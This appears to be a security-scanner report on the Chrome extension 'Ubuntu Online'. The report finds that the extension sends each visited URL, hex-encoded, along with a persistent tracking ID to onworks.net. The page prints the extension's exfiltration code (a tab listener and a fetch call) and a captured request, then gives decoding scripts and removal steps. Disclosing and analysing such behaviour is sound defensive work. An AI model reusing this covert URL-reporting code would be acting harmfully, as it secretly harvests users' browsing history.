Is Ubuntu free online linux server safe?

High risk

Ubuntu Online is high risk. Every tab switch or load sends the full URL to a remote server at onworks.net, automatically, no click needed. Dynamic analysis captured 23 such requests across five unrelated sites, including a planted marker recovered verbatim.…

Strong link to a flagged operator: 17 of the 27 other listings from the same operator are rated high or critical for malicious behavior. Flagged: X-Audacity (high), ApkOnline (high), Gimp Online (high).

ApkOnline android onlinev1.3.5Extension ID pmaonbjcobmgkemldgcedmpbmmncpbgiChrome Web Store
78Risk
Who publishes it

ApkOnline android online - 27 other listings from the same operator, 19 of them carrying a finding

Publisher
ApkOnline android online
Registered address
Avenue Dr Arce 43, Madrid 28002, Spain

Shared hosts - 1 hostname

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

onworks.net
Also called by 8 other listings
AI-assisted analysis.

Ubuntu Online findings

Extension sends every visited URL to onworks.net on each tab change

HighunwantedCWE-359Dynamic sandbox

Every tab switch or load sends the full URL to a remote server at onworks.net, automatically, no click needed.

What actually happens

You did this

You open any webpage or switch to a tab with an http/https URL.

The extension checks that the URL is not already an onworks.net URL and has not been reported since the last navigation.

The extension did this

The extension immediately sends the full URL to onworks.net in the background.

A GET request is made to c-ubuntux-2x.php with the URL hex-encoded as the url= parameter and a persistent tracking ID as u=.

Captured request

GEThttps://www.onworks.net/media/system/app/runos/c-ubuntux-2x.php?url=68747470733a2f2f656e2e77696b6970656469612e6f72672f77696b692f43414e4152595f424952445f31323334355f50524f4f46&hex=1&u=yide6oj9j7

HTTP 200. Response body inspected, when it contains '302', the extension calls chrome.tabs.update to redirect the active tab to intro-ubuntu-os.php.

Why you can't catch this in DevTools

The URL is converted character-by-character to two-digit ASCII hex codes before being placed in the query string. This is not encryption, any hex decoder recovers the plaintext immediately.

Decoded value
https://en.wikipedia.org/wiki/<page-url>

The code that does this

URL exfiltration listener and fetch call (w.js)

Readable version
function gti(tabId) {  chrome.tabs.get(tabId, function(tab) {    if (      (tab.url.indexOf('onworks') == -1) &&      (tab.url.indexOf('http') !== -1) &&      (lastUrl != tab.url)    ) {      urlx = tab.url;      reporturlscannedandrecorded = urlx;      extractf(reporturlscannedandrecorded);      lastUrl = tab.url;    }  });}async function extractf(urlxx) {  // ... reads/generates persistent tracking ID ...  let fgvt = await fetch(    'https://www.onworks.net/media/system/app/runos/c-ubuntux-2x.php?url=' +    b2x(urlxx) + '&hex=1&u=' + un  );}

Destinations receiving your browsing history

    • www.onworks.net

    Receives every visited URL (hex-encoded) and the persistent tracking ID. onworks.net is the developer's own online-Linux service; the extension operator controls this endpoint.

Reproduce it yourself

Decodes any onworks.net request URL parameter from the hex-encoded wire format back to the original visited URL, demonstrating the decoding technique used in dynamic analysis.

Requires
  • Node.js 12+
decode-onworks-url.js · js
#!/usr/bin/env node// decode-onworks-url.js// Usage: node decode-onworks-url.js <hex_string>// Example: node decode-onworks-url.js 68747470733a2f2f676f6f676c652e636f6dconst hex = process.argv[2];if (!hex) {  console.error('Usage: node decode-onworks-url.js <hex_string>');  process.exit(1);}const decoded = hex.match(/.{1,2}/g).map(b => String.fromCharCode(parseInt(b, 16))).join('');console.log('Decoded URL:', decoded);
How to run it
  1. 1Copy the 'url' parameter value from any captured onworks.net request.
  2. 2Run: node decode-onworks-url.js <hex_value>.
  3. 3The original visited URL is printed.

Visited URLs obscured by hex encoding that any decoder can reverse

HighunwantedCWE-319Dynamic sandbox

The extension hex-encodes each character of your visited URL before sending it.

What actually happens

You did this

The extension prepares to send a visited URL to onworks.net.

Before placing the URL in the request, b2x() is called to convert it to hex.

The extension did this

Each character of the URL is replaced with its two-digit ASCII hex code.

The result is a hex string placed in the url= query parameter. The server's hex=1 flag reverses it immediately on receipt.

Why you can't catch this in DevTools

The on-wire form looks like a random hex string, but it is a verbatim character-by-character encoding of the original URL with no undisclosed material involved.

Decoded value
https://en.wikipedia.org/wiki/<page-url>

The code that does this

Hex encoding function (w.js:106-115)

Readable version
function b2x(bin) {  var i = 0, l = bin.length, chr, hex = '';  for (i; i < l; ++i) {    chr = bin.charCodeAt(i).toString(16);    hex += chr.length < 2 ? '0' + chr : chr;  }  return hex;}

Reproduce it yourself

Reproduces the encoding and decoding round-trip, demonstrating that b2x() output is trivially reversible with a standard hex decoder.

Requires
  • Node.js 12+
verify-hex-roundtrip.js · js
#!/usr/bin/env node// verify-hex-roundtrip.js// Reproduces the b2x() encode/decode round-trip from the extension.// Replicate the extension's b2x() function exactlyfunction b2x(bin) {  var i = 0, l = bin.length, chr, hex = '';  for (i; i < l; ++i) {    chr = bin.charCodeAt(i).toString(16);    hex += chr.length < 2 ? '0' + chr : chr;  }  return hex;}// Standard hex decode (inverse of b2x)function x2b(hex) {  return hex.match(/.{1,2}/g).map(b => String.fromCharCode(parseInt(b, 16))).join('');}const testUrl = 'https://en.wikipedia.org/wiki/<planted-marker>';const encoded = b2x(testUrl);const decoded = x2b(encoded);console.log('Original :', testUrl);console.log('Encoded  :', encoded);console.log('Decoded  :', decoded);console.log('Match    :', testUrl === decoded ? 'YES — round-trip confirmed' : 'NO — mismatch');
How to run it
  1. 1Run: node verify-hex-roundtrip.js.
  2. 2Confirm 'Match: YES' is printed.
  3. 3Substitute any URL as testUrl to verify arbitrary round-trips.

Extension assigns a persistent ID on install and links it to every URL sent

MediumunwantedCWE-359Dynamic sandbox

On first run the extension generates a 10-character random ID stored in Chrome's synced storage, following you across profiles and devices.

What actually happens

You did this

The extension starts for the first time and finds no stored ID.

extractf() reads chrome.storage.local key apkon_key and checks for opcA.usercx.

The extension did this

A 10-character random ID is generated and saved to synced storage, then attached to every subsequent URL report.

ranSX(10) builds the ID from a 62-character alphanumeric charset. It is stored in both chrome.storage.local (apkon_key.usercx) and chrome.storage.sync (usercx), enabling cross-device persistence.

What's stored on your device

Local storage holds the outbound ID (usercx) and opt-out flag (apkononline). Sync storage replicates the ID across Chrome sign-ins.

Location
chrome.storage.local key 'apkon_key' + chrome.storage.sync key 'usercx'
Contents
{  "usercx": "vz5rdv5set",  "apkon_key": {    "usercx": "yide6oj9j7",    "apkononline": "1"  }}

The code that does this

ID generation and storage (w.js:37-84)

Readable version
// Top-level startup: sync storage checkif (chrome.storage.sync.get('usercx', function(obj) {})) {  usercx = chrome.storage.sync.get('usercx', function(obj) {});} else {  usercx = '' + ranSX(10) + ''.toLowerCase();  chrome.storage.sync.set({'usercx': usercx.toLowerCase()}, function() {});}// Inside extractf(): local storage check + generationlet storres = await chrome.storage.local.get([apkon_key]);if (apkon_key in storres) { opcA = storres[apkon_key]; }if (opcA.usercx) {  usercx = opcA.usercx;} else {  usercx = '' + ranSX(10) + ''.toLowerCase();  opcA.usercx = usercx;}// Sent on every request:await fetch('https://www.onworks.net/media/system/app/runos/c-ubuntux-2x.php?url=' + b2x(urlxx) + '&hex=1&u=' + un);

Data sent to onworks.net on each request

  • Visited URL
    https://en.wikipedia.org/wiki/Privacy_policy

    The full URL of the page you are viewing, hex-encoded in the url= parameter.

  • Persistent tracking ID
    yide6oj9j7

    A 10-character ID generated on install and appended as u=. Stored in Chrome Sync, it follows you across devices on your Google account.

If you have Ubuntu Online installed

  1. Open chrome://extensions and turn on Developer mode to show IDs. Find the one with ID pmaonbjcobmgkemldgcedmpbmmncpbgi and choose Remove.
  2. Block the servers only it was seen contacting: www.onworks.net.
  3. Scan your browser to check the rest of your extensions.

What Ubuntu Online can do

Permissions this extension asks for, as declared in version 1.3.5. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Store data in your browser

    storage

  • See the address and title of every tab you have open

    tabs

Where Ubuntu Online sends data

  • www.onworks.net/media/system/…3 calls

    From its background script · only this extension

Chrome Web Store listing

Versions
1.3.5 seen since March 4, 2026
Store rating
3.6 from 52 ratings
Last updated
September 3, 2024
Size
460 KiB
Privacy policy
www.onworks.net

Our write-ups

Updated November 20, 2026